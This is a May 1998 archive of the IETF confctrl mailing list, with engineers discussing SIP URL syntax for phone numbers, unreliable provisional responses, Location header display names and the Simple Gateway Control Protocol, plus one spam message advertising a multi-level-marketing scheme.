	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA08387
	for <confctrl@zephyr.isi.edu>; Wed, 20 May 1998 00:33:03 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA20793
	for <confctrl@ISI.EDU>; Wed, 20 May 1998 00:33:01 -0700 (PDT)
Received: from waffle.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.04229-0@bells.cs.ucl.ac.uk>; Wed, 20 May 1998 08:32:55 +0100
To: Christian Huitema <huitema@bellcore.com>
cc: confctrl@ISI.EDU
Subject: Re: Simple Gateway Control Protocol
In-reply-to: Your message of "Mon, 18 May 1998 17:21:11 EDT." <980518172111.ZM19606@seawind.bellcore.com>
Date: Wed, 20 May 1998 08:32:53 +0100
Message-ID: <707.895649573@cs.ucl.ac.uk>
From: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


In message <980518172111.ZM19606@seawind.bellcore.com>, Christian Huitema typed
:

at first sight, this is remarkably bellhead approach - 
a) no soft state
b) gateways appear to be modelled on systems that have _detailed
knowledge_ of the internals of the PSTN side.....

this is fine, but we need provision for systems that are
i) resilient to connectivity failures (e.g. where there are no PSTN
call charges, yo ucould envisage timing out and lettign an IPTEL side
use a second gateway to reesablish the call a la rsvp without route
pinning, to use a poor loose analogy)
ii) allows gateways that are strictly external to the PSTN and just
use access as an ordianry customer

at least one national regulator i can think of would require this....

cheers
j.


From confctrl-owner  Wed May 20 03:52:18 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id DAA09820
	for confctrl-outgoing; Wed, 20 May 1998 03:52:18 -0700 (PDT)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id DAA09815
	for <confctrl@zephyr.isi.edu>; Wed, 20 May 1998 03:52:16 -0700 (PDT)
Received: from 207.181.100.66 (stn-on1-02.netcom.ca [207.181.100.66])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id DAA27150
	for <confctrl@isi.edu>; Wed, 20 May 1998 03:52:10 -0700 (PDT)
Date: Wed, 20 May 1998 03:52:10 -0700 (PDT)
Message-Id: <199805201052.DAA27150@venera.isi.edu>
From: harris@harrismarketing.com
To: confctrl@ISI.EDU
Subject:  Hi confctrl, TelaFrend Provides Everything You need
X-Reply-To:  frend@link2net.net
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

That’s Right!

With this new way of doing business YOU no longer have to:
Make Phone Calls, Appointments or Presentations, Attend Meetings, Sell Family,
Friends or Any Body.

UNLESS YOU CHOOSE TO DO SO.

Instead of asking you to make the contacts and sell new members we use E-Mail
Marketing Letters to make the contacts and our Web Page & E-Mail Address, our
Fax On Demand Information Center, our News Center, our Message Center, our
Downline Builder and Maintenance Program, and our TelaFrend support staff to
do the selling for you.  

We term this,    NO SELLING   JUST E-MAILING

We Currently Have People Earning $500 to $10,000 And More Each Week.

Here’s How It Works:

When you sign up with TelaFrend we send out 10,000 
PRE-TESTED E-MAIL MARKETING LETTERS on your behalf.  You will get credit and
compensation for all the new distributors who join under you as a result of
your letters.  TelaFrend will place each new distributor in the position in
your downline which will maximize your earnings.

Each new distributor that signs up under you receives the same program and
follows the same procedures.  YOU receive credit and compensation for all new
distributors that sign up under them in your downline.  You can therefore
understand how important it is to GET IN NOW and you can realize HOW QUICKLY
YOUR DOWNLINE AND COMPENSATION WILL GROW.

The simple truth is;  OPPORTUNITY IS KNOCKING.
Now is your chance for financial freedom.   Act Now.

For complete details on our program:
<a ahref="http://www.link2net.net/telafrend">Click Here</a> to visit our Web
Page at :  link2net.net/telafrend
<a ahref="mailto:frend@link2net.net">Click Here</a> to leave us an E-mail at:
frend@link2net.net

Call Our Toll Free TelaFrend Message Center @ 1-888-771-9338.
Call Our Toll Free Information Center @ 1-888-771-9340 for a Program
Presentation.
Call Our Fax On Demand @ 703-478-9600 Doc # 846 for a Program Overview.
ID#  Number  05898

<a href="mailto:frend@link2net.net">Click Here</a> to be deleted from our
data base.  Enter your e-mail address and the word "remove", thank you.




From confctrl-owner  Wed May 20 06:31:43 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA11258
	for confctrl-outgoing; Wed, 20 May 1998 06:31:43 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA11253
	for <confctrl@zephyr.isi.edu>; Wed, 20 May 1998 06:31:42 -0700 (PDT)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA01173
	for <confctrl@isi.edu>; Wed, 20 May 1998 06:31:40 -0700 (PDT)
Received: from erlang.cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141]) by cs.columbia.edu (8.8.5/8.6.6) with ESMTP id JAA14405 for <confctrl@isi.edu>; Wed, 20 May 1998 09:31:39 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by erlang.cs.columbia.edu (8.8.5/8.6.6) with ESMTP id JAA14972 for <confctrl@isi.edu>; Wed, 20 May 1998 09:31:38 -0400 (EDT)
Message-ID: <3562DB3A.DCAD0C60@cs.columbia.edu>
Date: Wed, 20 May 1998 09:31:38 -0400
From: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.05 [en] (X11; I; SunOS 5.5.1 sun4u)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: SIP URLs: phone numbers
References: <3560A856.350D8D24@dnrc.bell-labs.com> <3560DA36.5966B1DD@cs.columbia.edu> <356190F6.5552AFB4@dnrc.bell-labs.com> <3561E4C6.DE79DDF2@cs.columbia.edu> <3561EC16.C9EC9B7D@dnrc.bell-labs.com> <35621C4A.53A67D63@cs.columbia.edu> <3562D73B.25E69179@dnrc.bell-labs.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Based on the suggestion by Yaron Goland, I had folded the Antti draft
definitions of phone numbers into the SIP URL syntax. Unfortunately,
this causes a subtle new problem, in that phone numbers and user names
are no longer distinguishable:

sip:939,7042@gateway

could be a local phone number or a (CompuServe) user name. Similarly,
user names are (according to the generic URL spec) allowed to start with
a +, so that even

sip:+12129397042@gateway

could theoretically be a user name.

In some circumstances (e.g., a proxy filtering outbound calls) a
distinction between the two may be useful, even though in most cases a
gateway handling both names and numbers could simply assure that it
doesn't assign "weird" user names (starting with a digit or +). If a
generic distinction is desired, the only semi-reasonable solution I see
is to
- disallow + as the first character in user names
- disallow local phone numbers (probably not very meaningful in the case
of gateways in any event)

Other alternatives get pretty ugly (prefix phone number with _ and
such).

Comments?

From confctrl-owner  Wed May 20 06:41:02 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA11369
	for confctrl-outgoing; Wed, 20 May 1998 06:41:02 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA11364
	for <confctrl@zephyr.isi.edu>; Wed, 20 May 1998 06:41:01 -0700 (PDT)
Received: from nettrix.mediatrix.com (nettrix.mediatrix.com [205.237.248.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA01534
	for <confctrl@ISI.EDU>; Wed, 20 May 1998 06:40:58 -0700 (PDT)
Received: by nettrix.mediatrix.com with Internet Mail Service (5.5.1960.3)
	id <KDDZPQLW>; Wed, 20 May 1998 09:40:21 -0400
Message-ID: <D1222A5B22CBD0118D8E0000C00C85E912ED76@nettrix.mediatrix.com>
From: Eric Tremblay <etremblay@mediatrix.com>
To: "'Jonathan Rosenberg'" <jdrosen@dnrc.bell-labs.com>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: SIP Provisional Responses
Date: Wed, 20 May 1998 09:40:20 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id GAA11365
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> -----Original Message-----
> From: Jonathan Rosenberg [mailto:jdrosen@dnrc.bell-labs.com]
> Sent: 19 mai, 1998 19:04
> To: Eric Tremblay
> Cc: 'confctrl@ISI.EDU'
> Subject: Re: SIP Provisional Responses
> 
> 
> Eric Tremblay wrote:
> > 
> > How can the user agent server make sure that the client received the
> > "new" (180) status code?  If the server just sends one 180 
> response, it
> > can easily get lost, and the next 180 response that will be 
> sent will be
> > in response of a retransmission, which is around 30 seconds later.
> 
> The 1xx responses are not reliable.
> 
> > 
> > Should the server send more than one "new" status code?  I 
> think so, but
> > how?  I think the 180 response is important for rendering call
> > progress...
> > 
> > I understand that even if the UAC does not receives any 180 
> responses,
> > the call can be established, but I personnaly don't like 
> the UAC seeing
> > simply a transition from 100 to 200.
> 
> Why? 

Simply because I'd like the UAC to render how long the remote phone is
actually ringing.  I know that an invitation's response can transit from
100 to 200 or even be 200 without any 1xx, but this should be in the
case that the remote phone is picked up at the same time the invitation
is received.

But with unreliable 1xx responses, I I'll have to come up with another
way to do this.

EricT

Eric Tremblay       | Mediatrix Telecom
Ingénieur Stagiaire | -----------------
email: etremblay@mediatrix.com
Tel: +1(819)829-8749 ext. 238
Web: www.mediatrix.com


From confctrl-owner  Wed May 20 07:23:21 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id HAA12472
	for confctrl-outgoing; Wed, 20 May 1998 07:23:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id HAA12467
	for <confctrl@zephyr.isi.edu>; Wed, 20 May 1998 07:23:19 -0700 (PDT)
Received: from nettrix.mediatrix.com (nettrix.mediatrix.com [205.237.248.99])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id HAA03642
	for <confctrl@ISI.EDU>; Wed, 20 May 1998 07:23:17 -0700 (PDT)
Received: by nettrix.mediatrix.com with Internet Mail Service (5.5.1960.3)
	id <KDDZPQML>; Wed, 20 May 1998 10:22:41 -0400
Message-ID: <D1222A5B22CBD0118D8E0000C00C85E912ED77@nettrix.mediatrix.com>
From: Eric Tremblay <etremblay@mediatrix.com>
To: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>
Cc: "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: RE: SIP Provisional Responses
Date: Wed, 20 May 1998 10:22:40 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id HAA12468
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> -----Original Message-----
> From: Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu]
> Sent: 19 mai, 1998 20:20
> To: Eric Tremblay
> Cc: 'Jonathan Rosenberg'; 'confctrl@ISI.EDU'
> Subject: Re: SIP Provisional Responses
> 

[ - deleted - ]

> Unfortunately, the alternative of acknowledging 1xx responses would
> greatly complicate the state machinery.
>
> Currently, either client or server can, if they so desire and are
> willing to suffer the network traffic and server load 
> consequences, get
> semi-reliable status updates:
> 
> 1) The client can retransmit INVITE more frequently. This is 
> against the
> rules, but otherwise causes no interoperability problems.
>
> 2) The server can retransmit 1xx responses periodically.


I'm sure that one of these solution will do just fine, as long as it
causes no interoperability problems and as long as the network
ressources are not overloaded.


> For non-technical users, the difference between Trying and 
> Ringing isn't
> all that great - certainly not something that the standard telephone
> tones (ring-back in either case) could express.

I don't think we'd want to use ringback for both 100 and 180 responses.
I'd use ringback only when I receive a 180 response, not before.  This
is to avoid having a scenario where a client gets a ring back (100) and
then a busy or fast busy signal...  ( response > 200 )  This doesn't do
a good emulation of the PSTN and I'm always thinking that the transition
from PSTN to IP should be as smooth as possible for the current PSTN
users. 

EricT

Eric Tremblay       | Mediatrix Telecom
Ingénieur Stagiaire | -----------------
email: etremblay@mediatrix.com
Tel: +1(819)829-8749 ext. 238
Web: www.mediatrix.com

From confctrl-owner  Wed May 20 10:04:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA15812
	for confctrl-outgoing; Wed, 20 May 1998 10:04:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA15805
	for <confctrl@zephyr.isi.edu>; Wed, 20 May 1998 10:04:55 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA19959
	for <confctrl@isi.edu>; Wed, 20 May 1998 10:04:53 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id NAA25153;
	Wed, 20 May 1998 13:03:55 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id NAA22586;
	Wed, 20 May 1998 13:03:54 -0400 (EDT)
Date: Wed, 20 May 1998 13:03:54 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980520130354.ZM22584@seawind.bellcore.com>
In-Reply-To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>
        "Re: Simple Gateway Control Protocol" (May 20,  8:32am)
References: <707.895649573@cs.ucl.ac.uk>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Jon Crowcroft <J.Crowcroft@cs.ucl.ac.uk>,
        Christian Huitema <huitema@bellcore.com>
Subject: Re: Simple Gateway Control Protocol
Cc: confctrl@ISI.EDU, sgcp@bellcore.com
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jon,

SGCP is about synchronizing a gateway that concentrates on handling the
signal (e.g. voice to RTP) with a server that processes the signalling.
Now, even in bell shaped dreams, nobody really expects that a single server
will control the whole universe.  The server could use your favorite
protocol to dialog with other servers (H.323, SIp, SAP or RTSP come to
mind).

As for various types of interfaces to the PSTN, sure.  We have been working
here on SS7/ISUP, but there is clearly a demand to also support Q.931,
MF sgnalling, and a lot of other stuff.

On May 20,  8:32am, Jon Crowcroft wrote:
> Subject: Re: Simple Gateway Control Protocol
> 
> In message <980518172111.ZM19606@seawind.bellcore.com>, Christian Huitema typed
> :
> 
> at first sight, this is remarkably bellhead approach - 
> a) no soft state
> b) gateways appear to be modelled on systems that have _detailed
> knowledge_ of the internals of the PSTN side.....
> 
> this is fine, but we need provision for systems that are
> i) resilient to connectivity failures (e.g. where there are no PSTN
> call charges, yo ucould envisage timing out and lettign an IPTEL side
> use a second gateway to reesablish the call a la rsvp without route
> pinning, to use a poor loose analogy)
> ii) allows gateways that are strictly external to the PSTN and just
> use access as an ordianry customer
> 
> at least one national regulator i can think of would require this....
> 
> cheers
> j.
> 
>-- End of excerpt from Jon Crowcroft



-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Wed May 20 10:06:55 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA15882
	for confctrl-outgoing; Wed, 20 May 1998 10:06:55 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA15876
	for <confctrl@zephyr.isi.edu>; Wed, 20 May 1998 10:06:54 -0700 (PDT)
Received: from thumper.bellcore.com (thumper.bellcore.com [128.96.41.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA20179
	for <confctrl@isi.edu>; Wed, 20 May 1998 10:06:52 -0700 (PDT)
Received: from seawind.bellcore.com (seawind.bellcore.com [192.4.18.101])
	by thumper.bellcore.com (8.8.8/8.8.8) with ESMTP id NAA25268;
	Wed, 20 May 1998 13:06:21 -0400 (EDT)
Received: (from huitema@localhost)
	by seawind.bellcore.com (8.8.8/8.8.8) id NAA22597;
	Wed, 20 May 1998 13:06:20 -0400 (EDT)
Date: Wed, 20 May 1998 13:06:20 -0400 (EDT)
From: Christian Huitema <huitema@bellcore.com>
Message-Id: <980520130620.ZM22595@seawind.bellcore.com>
In-Reply-To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>
        "SIP URLs: phone numbers" (May 20,  9:31am)
References: <3560A856.350D8D24@dnrc.bell-labs.com> 
	<3560DA36.5966B1DD@cs.columbia.edu> 
	<356190F6.5552AFB4@dnrc.bell-labs.com> 
	<3561E4C6.DE79DDF2@cs.columbia.edu> 
	<3561EC16.C9EC9B7D@dnrc.bell-labs.com> 
	<35621C4A.53A67D63@cs.columbia.edu> 
	<3562D73B.25E69179@dnrc.bell-labs.com> 
	<3562DB3A.DCAD0C60@cs.columbia.edu>
X-Mailer: Z-Mail (5.0.0 30July97)
To: Henning Schulzrinne <schulzrinne@cs.columbia.edu>, confctrl@ISI.EDU
Subject: Re: SIP URLs: phone numbers
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Henning,

A gateway handling both names and numbers could easily use two
DNS names, like "user1@usr.example.net" and "1234567@phone.example.net",
yet make the two domains synonym (using CNAME).

-- 
Christian Huitema
----------
See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/

From confctrl-owner  Wed May 20 10:42:04 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA17055
	for confctrl-outgoing; Wed, 20 May 1998 10:42:04 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA17050
	for <confctrl@zephyr.isi.edu>; Wed, 20 May 1998 10:42:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id KAA23985
	for <confctrl@ISI.EDU>; Wed, 20 May 1998 10:42:01 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Wed May 20 13:40:14 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id NAA18498;
	Wed, 20 May 1998 13:40:13 -0400 (EDT)
Message-ID: <3563150B.8A5B81CB@dnrc.bell-labs.com>
Date: Wed, 20 May 1998 13:38:19 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: Eric Tremblay <etremblay@mediatrix.com>
CC: "'Henning Schulzrinne'" <schulzrinne@cs.columbia.edu>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Provisional Responses
References: <D1222A5B22CBD0118D8E0000C00C85E912ED77@nettrix.mediatrix.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric Tremblay wrote:
> 

> > For non-technical users, the difference between Trying and
> > Ringing isn't
> > all that great - certainly not something that the standard telephone
> > tones (ring-back in either case) could express.
> 
> I don't think we'd want to use ringback for both 100 and 180 responses.
> I'd use ringback only when I receive a 180 response, not before.  This
> is to avoid having a scenario where a client gets a ring back (100) and
> then a busy or fast busy signal...  ( response > 200 )  This doesn't do
> a good emulation of the PSTN and I'm always thinking that the transition
> from PSTN to IP should be as smooth as possible for the current PSTN
> users.

You may get a fast-busy or busy after a 180 anyway. Consider a UAC which
sends an INVITE, and gets back a 100, then a 180, and then begins
ringback. The UAS alerts the user, and then the user rejects the call
(600). The UAC will then need to play the busy or fast-busy anyway. 

-Jonathan R.


-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed May 20 17:14:05 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id RAA25314
	for confctrl-outgoing; Wed, 20 May 1998 17:14:05 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id RAA25309
	for <confctrl@zephyr.isi.edu>; Wed, 20 May 1998 17:14:03 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id RAA00823
	for <confctrl@isi.edu>; Wed, 20 May 1998 17:14:01 -0700 (PDT)
Received: from zubin.dnrc.bell-labs.com ([135.180.130.56]) by dirty; Wed May 20 20:12:25 EDT 1998
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by zubin.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id UAA29012
	for <confctrl@isi.edu>; Wed, 20 May 1998 20:12:24 -0400 (EDT)
Message-ID: <356370F6.899A25C5@dnrc.bell-labs.com>
Date: Wed, 20 May 1998 20:10:30 -0400
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: confctrl@ISI.EDU
Subject: Use of display name in Location
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Currently, the To and From fields allow for the use of display names,
with angle brackets encompassing the URL. It seems that this would be a
valuable feature to have in the Location header field as well. This
would tell me both the location and actual name of the user I've been
connected to. For example, if a UAC sends:

INVITE help@company.com
From: joe@org
To: help@company.com

it would be nice if the response was:

200 OK
From: joe@org
To: help@company.com
Location: Customer Rep #1223 <rep1223@company.com>


This is not backwards compatible with existing Location usage,
unfortunately. What do people think?

Thanks,
Jonathan R.
-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Wed May 20 18:08:57 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA26278
	for confctrl-outgoing; Wed, 20 May 1998 18:08:57 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA26273
	for <confctrl@zephyr.isi.edu>; Wed, 20 May 1998 18:08:54 -0700 (PDT)
Received: from paleale.cisco.com (paleale.cisco.com [171.69.95.88])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA05931
	for <confctrl@ISI.EDU>; Wed, 20 May 1998 18:08:53 -0700 (PDT)
Received: from OranLT (dhcp-vm11-86-235.cisco.com [171.69.86.235]) by paleale.cisco.com (8.8.4-Cisco.1/8.6.5) with SMTP id SAA03181; Wed, 20 May 1998 18:07:48 -0700 (PDT)
From: "David R. Oran" <oran@cisco.com>
To: "Jon Crowcroft" <J.Crowcroft@cs.ucl.ac.uk>
Cc: "Christian Huitema" <huitema@bellcore.com>, "Confctrl" <confctrl@ISI.EDU>
Subject: RE: Simple Gateway Control Protocol
Date: Wed, 20 May 1998 21:07:47 -0400
Message-ID: <000301bd8454$de19e440$eb5645ab@OranLT.cisco.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook 8.5, Build 4.71.2173.0
Importance: Normal
In-Reply-To: <707.895649573@cs.ucl.ac.uk>
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.2106.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Jon, as usual very perceptive impressions, but let me offer a few comments
which may shed a different light on this:

> -----Original Message-----
> From: owner-confctrl@ISI.EDU [mailto:owner-confctrl@ISI.EDU]On Behalf Of
> Jon Crowcroft
> Sent: Wednesday, May 20, 1998 3:33 AM
> To: Christian Huitema
> Cc: confctrl@ISI.EDU
> Subject: Re: Simple Gateway Control Protocol
>
>
>
> In message <980518172111.ZM19606@seawind.bellcore.com>, Christian
> Huitema typed
> :
>
> at first sight, this is remarkably bellhead approach -

Yes, absolutely. The protocol's niche is in fact primarily for taking a bell
which has been cracked into two pieces and an IP network inserted in the
middle to glue it back together. Since you are starting with a bell and
ending with a bell, a bellhead approach is a reasonably good impedance match
:-)

> a) no soft state
This isn't entirely accurate. The call agent side has hard state, because at
least one of the things the gateways are hooked to is bound to have hard
state (i.e. the PSTN side or sides) and there isn't a lot to be gained by
making one "hop" of the chain of hard state a bit softer. On the other hand,
the gateways have much softer state - in fact they have practically no state
at all - and they can survive things like one call agent disappearing and
another taking over in the middle of a call.

> b) gateways appear to be modelled on systems that have _detailed
> knowledge_ of the internals of the PSTN side.....
>
Not really. The gateways know only that they are converting packet streams
to TDM streams (or possibly one packet stream into something else...like a
cell stream) and they are being told by the call agent how to provision the
conversion for a particular RTP stream going to/from a particular endpoint.
The call agents, on the other hand *do* have detailed internal knowledge of
the PSTN and in fact may look like bone-fide SSP's to a carrier's SS7
control network.


> this is fine, but we need provision for systems that are
> i) resilient to connectivity failures (e.g. where there are no PSTN
> call charges, yo ucould envisage timing out and lettign an IPTEL side
> use a second gateway to reesablish the call a la rsvp without route
> pinning, to use a poor loose analogy)
You can do this with SGCP precisely because you can move RTP streams around
without screwing up the signaling state that the PSTN knows about. I'd claim
that for the particular set of applications this approach is actually
superior to the approach where the gateways hold the PSTN signaling state
because you then can't easily re-target the RTP stream without messing with
the PSTN signaling.

> ii) allows gateways that are strictly external to the PSTN and just
> use access as an ordianry customer
>
I'm not sure I understand this point. I would expect such gateways to be not
terribly cost effective and possibly illegal in some places. In any event,
as you point out there are existing solutions where you don't need
end-to-end PSTN transparency - SIP and H.323 do these things quite
adeqautely.

> at least one national regulator i can think of would require this....
>
Where? This is exactly backwards from the U.S. and Canada where the
regulations and tarriffs are  biased to putting the gateways inside reach of
the SS7 cloud.

Dave.


From confctrl-owner  Wed May 20 22:39:21 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA28909
	for confctrl-outgoing; Wed, 20 May 1998 22:39:21 -0700 (PDT)
Received: (from bmanning@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id WAA28902;
	Wed, 20 May 1998 22:39:16 -0700 (PDT)
From: Bill Manning <bmanning@ISI.EDU>
Message-Id: <199805210539.WAA28902@zephyr.isi.edu>
Subject: Re: SIP URLs: phone numbers
To: huitema@bellcore.com (Christian Huitema)
Date: Wed, 20 May 1998 22:39:16 -0700 (PDT)
Cc: schulzrinne@cs.columbia.edu, confctrl@ISI.EDU
In-Reply-To: <980520130620.ZM22595@seawind.bellcore.com> from "Christian Huitema" at May 20, 98 01:06:20 pm
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

> 
> Henning,
> 
> A gateway handling both names and numbers could easily use two
> DNS names, like "user1@usr.example.net" and "1234567@phone.example.net",
> yet make the two domains synonym (using CNAME).
> 
> -- 
> Christian Huitema
> ----------
> See you at INET'98, Geneva 21-24,July 98 http://www.isoc.org/inet98/


A concern is how one does gateway selection.  "123.4567@phone.example.net"
is making a couple of assumptions wrt locality of scope.  I posit that
you must use the full e164 number and then you use the nearest gateway,
since you have a fully qualified PSTN "name".

Your off the cuff example has another, perhaps more insidious
problem in that there is a presumption on some ability to have a standard
for user encoding w/in the DNS.  

Still, not a bad first cut.. :)

--bill

From confctrl-owner  Thu May 21 00:23:45 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id AAA29909
	for confctrl-outgoing; Thu, 21 May 1998 00:23:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id AAA29904
	for <confctrl@zephyr.isi.edu>; Thu, 21 May 1998 00:23:43 -0700 (PDT)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id AAA24320
	for <confctrl@ISI.EDU>; Thu, 21 May 1998 00:23:41 -0700 (PDT)
